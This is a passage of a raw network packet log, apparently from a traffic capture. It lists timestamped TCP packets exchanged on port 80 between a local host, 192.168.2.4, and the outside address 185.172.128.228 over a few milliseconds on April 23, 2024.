Apr 23, 2024 09:38:11.610270977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610281944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610286951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610300064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610302925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610313892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610318899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610331059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610333920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610347986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610349894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610364914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610366106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610375881 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610382080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610394001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610397100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610409975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610413074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610421896 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610428095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610440016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610443115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610454082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610457897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610474110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610475063 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610491037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610500097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610507011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610522032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610526085 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610537052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610538006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610553980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610554934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610567093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610569000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610580921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610584974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610598087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610600948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610610008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610616922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610631943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610636950 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610646963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610652924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610662937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610677004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610678911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610694885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610702038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610711098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610726118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610727072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610742092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610747099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610758066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610774040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610774040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610790014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610797882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610805988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610821962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610822916 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610837936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610846996 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610855103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610871077 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610872984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610889912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610905886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610914946 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610922098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610928059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610938072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610950947 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610953093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610971928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.610984087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.610987902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611004114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611005068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611020088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611027956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611036062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611052036 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611059904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611067057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611078978 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611083031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611087084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611098051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611104965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611114025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611120939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611129999 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611134052 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611146927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611156940 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611161947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611170053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611177921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611182928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611193895 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611202002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611210108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611221075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611226082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611234903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611242056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611247063 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611258030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611264944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611274004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611278057 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611289024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611298084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611304998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611316919 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611320019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611329079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611335039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611347914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611350060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611365080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611371040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611380100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611388922 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611396074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611413002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611428022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611438036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611438036 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611443996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611459017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611459017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611469984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611474991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611490011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611490011 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611505032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611505032 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611521006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611536980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611540079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611551046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611562014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611567020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611577988 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611583948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611598969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611605883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611614943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611629963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611634970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611644983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611660004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611675024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611680984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611690998 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611700058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611700058 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611706018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611706972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611717939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611728907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611737967 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611745119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611754894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611759901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611771107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611776114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611783028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611792088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611809015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611823082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611839056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611840963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611855984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611861944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611861944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611861944 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611871004 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611871958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611882925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611887932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611895084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611903906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611917973 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611918926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611934900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611937046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611943960 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611952066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611968040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611970901 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611984015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611999035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.611999989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.611999989 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612006903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612015009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612030029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612030983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612046957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612047911 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612056017 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612063885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612080097 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612082005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612090111 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612096071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612109900 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612118006 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612129927 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612133980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612150908 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612153053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612155914 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612162113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612169981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612185001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612194061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612204075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612211943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612221003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612231016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612243891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612246990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612256050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612266064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612274885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612286091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612289906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612307072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612307072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612323046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612324953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612339020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612348080 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612354040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612365007 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612370014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612376928 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612385035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612396955 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612400055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612409115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612416029 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612426043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612432003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612442970 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612447977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612457037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612463951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612473965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612478971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612485886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612494946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612504005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612512112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612520933 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612528086 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612544060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612557888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612560034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612565994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612576008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612591982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612592936 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612605095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612607002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612622976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612631083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612638950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612643957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612654924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612663031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612670898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612680912 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612687111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612693071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612704039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612710953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612720966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612728119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612736940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612739086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612754107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612757921 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612771034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612776041 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612787008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612792015 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612798929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612802982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612818003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612826109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612833023 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612833977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612849951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612852097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612867117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612871885 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612879992 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612881899 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612898111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612900972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612912893 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612914085 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612930059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612932920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612945080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612945080 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612961054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612962961 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612977028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.612982035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612991095 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.612993002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613008976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613020897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613024950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613038063 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613040924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613049984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613056898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613068104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613071918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:11.613079071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:11.613086939 CEST	80	49735	185.172.128.228	192.168.2.4
